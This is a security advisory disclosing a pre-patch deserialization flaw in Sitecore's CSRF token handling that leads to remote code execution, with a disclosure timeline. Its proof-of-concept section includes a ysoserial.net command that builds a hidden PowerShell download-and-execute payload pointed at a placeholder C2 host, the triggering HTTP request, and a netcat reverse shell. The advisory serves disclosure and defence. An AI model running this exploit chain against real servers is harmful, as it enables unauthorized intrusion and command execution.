Unsafe Object Deserialization in Sitecore <= 9.1.0

Security advisory
2019-04-16

Julien Legras
Adrien Peter
Vulnerabilities description

Presentation of Sitecore

“Sitecore CMS is the robust content management system that scales for enterprise needs. Global brands turn to Sitecore for multisite and multilingual content management—at scale, with the flexibility that enterprises demand. Millions of experiences are delivered reliably and securely every day with Sitecore Experience Manager.”

The issue

During a security assessment for a customer, Synacktiv consultants found a severe vulnerability in the CSRF protection, leading to a remote code execution.

Indeed, the CSRF protection expects a serialized object. Thus, this serialized object can be tampered to create valid .NET objects. Using .NET deserialization gadgets, it is possible to gain arbitrary command execution on the server.

Affected versions

The Sitecore versions 8.x can be exploited without authentication.

The Sitecore versions 9.x < 9.1.1 must be exploited with authentication.

Fix status

For Sitecore versions < 9.0, a patch is available: https://kb.sitecore.net/articles/334035.


Timeline

<table>
<thead>
<tr>
<th>Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>2019-02-19</td>
<td>Vulnerabilities identified.</td>
</tr>
<tr>
<td>2019-02-20</td>
<td>Advisory writing.</td>
</tr>
<tr>
<td>2019-02-20</td>
<td>Advisory sent to security team.</td>
</tr>
<tr>
<td>2019-02-23</td>
<td>Sitecore responded with details for authenticated and unauthenticated versions.</td>
</tr>
<tr>
<td>2019-03-01</td>
<td>Sitecore published a hot fix for the unauthenticated version: <a href="https://kb.sitecore.net/articles/334035">https://kb.sitecore.net/articles/334035</a></td>
</tr>
<tr>
<td>2019-03-16</td>
<td>CVE ID requested.</td>
</tr>
<tr>
<td>2019-04-16</td>
<td>Advisory released.</td>
</tr>
</tbody>
</table>

1https://www.sitecore.com/products/sitecore-experience-platform/wcm
Technical description and proof-of-concept

Initial vulnerability discovery

Searching for vulnerabilities on a Sitecore instance, Synacktiv consultants noticed that a POST request on the page /sitecore/shell/Applications/Security/CreateNewUser/CreateNewUser.aspx resulted in an error about CSRF protection:

```
POST /sitecore/shell/Applications/Security/CreateNewUser/CreateNewUser.aspx HTTP/1.1
Host: victimhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

HTTP/1.1 500 Internal Server Error
[…]
[PotentialCsrfException: No CSRF cookie supplied and CSRF form field is missing.]
```

Using dnSpy, the code raising this exception can be located in the library Sitecore.Security.AntiCsrf.dll, more precisely in the method SitecoreAntiCsrfModule of the class PreRequestHandlerExecute:

Illustration 1: Exception raising code.
To construct a valid request, a cookie `__CSRFCOOKIE` and a POST parameter `__CSRF_TOKEN` must be provided. The CSRF protection is supposed to compare both values but in fact, the `__CSRF_TOKEN` parameter is a string that is deserialized without any kind of check and then, the values are compared:

```csharp

if (httpCookie != null && httpCookie.Value != b)
    SitecoreAntiCsrfModule.RaiseError(new PotentialCsrfException("The CSRF cookie value did not match the CSRF parameter value."), context);
```

Illustration 2: Deserialization code.

As the `ObjectStateFormatter` class is instantiated without any parameter, its attribute `_page` will be `null`. Thus, no signature is checked:

```csharp
private object Deserialize(string inputString, Purpose purpose)
{
    if (string.IsNullOrEmpty(inputString))
        throw new ArgumentException("inputString");
    byte[] array = Convert.FromBase64String(inputString);
    int num = array.Length;
    try
    {
        if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !this._forceLegacyCryptography)
        {
            if (this._page != null && (this._page.ContainsEncryptedViewState || this._page.EnableViewStateMac))
            {
                purpose purpose2 = purpose.AppendSpecificPurposes(this.GetSpecificPurposes());
                IcryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(purpose2, CryptoServiceOptions.None);
                byte[] array2 = cryptoService.Unprotect(array);
                array = array2;
                num = array2.Length;
            }
        }
        if (this._page != null && this._page.ContainsEncryptedViewState)
        {
            array = MachineKeySection.EncryptOrDecryptData(false, array, this.GetMacKeyModifier(), 0, num);
            num = array.Length;
        }
        else if ((this._page != null && this._page.EnableViewStateMac) || this._macKeyBytes != null)
        {
            array = MachineKeySection.GetDecodedData(array, this.GetMacKeyModifier(), 0, num, ref num);
        }
    }
    catch
    {
        PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
        ViewStateException.ThrowMacValidationException(null, inputString);
    }
```

Illustration 3: `ObjectStateFormatter` cryptographic checks.
Then, the stream is deserialized:

```csharp

catch
{
    PerfCounters.IncrementCounter(AppPerfCounter.VIEWSTATE_MAC_FAIL);
    ViewStateException.ThrowMacValidationException(null, inputString);

    object result = null;

    try
    {
        var memoryStream = ObjectStateFormatter.GetObjectMemoryStream();
        result = this.Deserialize(memoryStream);
    }
    finally
    {
        ObjectStateFormatter.ReleaseMemoryStream(memoryStream);
    }

    return result;
}
```

Illustration 4: ObjectStateFormatter deserialization.

### Proof of concept of the code execution

To exploit this vulnerability, it is possible to use the tool `ysoserial.net` to generate a basic PowerShell downloader:

```bash
PS> .\ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -o base64 -c
    'powershell.exe -nop -w hidden -c $b=new-object net.webclient;IEX $b.downloadstring('''http://<ccaddress>:8080/reverse.ps1''');'

/WEysRlAADAQAP///8BAAAAAAAGwCAAAASVYN5c3RlbSwgVmhVyc21vbj00[...]
```

Then, the following POST request can be performed to trigger the deserialize and trigger the payload:

```
POST /sitecore/shell/Applications/Security/CreateNewUser/CreateNewUser.aspx HTTP/1.1
Host: victimhost
Cookie: __CSRFCOOKIE=test;
Content-Type: application/x-www-form-urlencoded
Content-Length: 3156

__CSRFTOKEN=/WEysRlAADAQAP///8BAAAAAAAGwCAAAASVYN5c3RlbSwgVmhVyc21vbj00[...]
```

This object will be deserialized and compared to the cookie, operation that will fail:

```
HTTP/1.1 500 Internal Server Error

[Potential CsrfException: The CSRF cookie value did not match the CSRF parameter value.]
```

2https://github.com/pwntester/ysoserial.net
However, the payload was executed during the deserialization step and will fetch the second stage on the remote server:

```
$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ... 
X.X.X.X - - [20/Feb/2019 14:37:57] "GET /reverse.ps1 HTTP/1.1" 200 - 
```

This payload is based on https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5#file-mini-reverse-ps1 and will allow to obtain a reverse shell to execute arbitrary commands on the server:

```
$ nc -lvvp 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from X.X.X.X 4160 received!
whoami
iis apppool\<redacted>
```

**Impact**

A successful exploitation of this vulnerability allows executing arbitrary commands and accessing the underlying filesytem. As the service identity will be used to interact with the system, the impact mostly depends on the privileges of the service.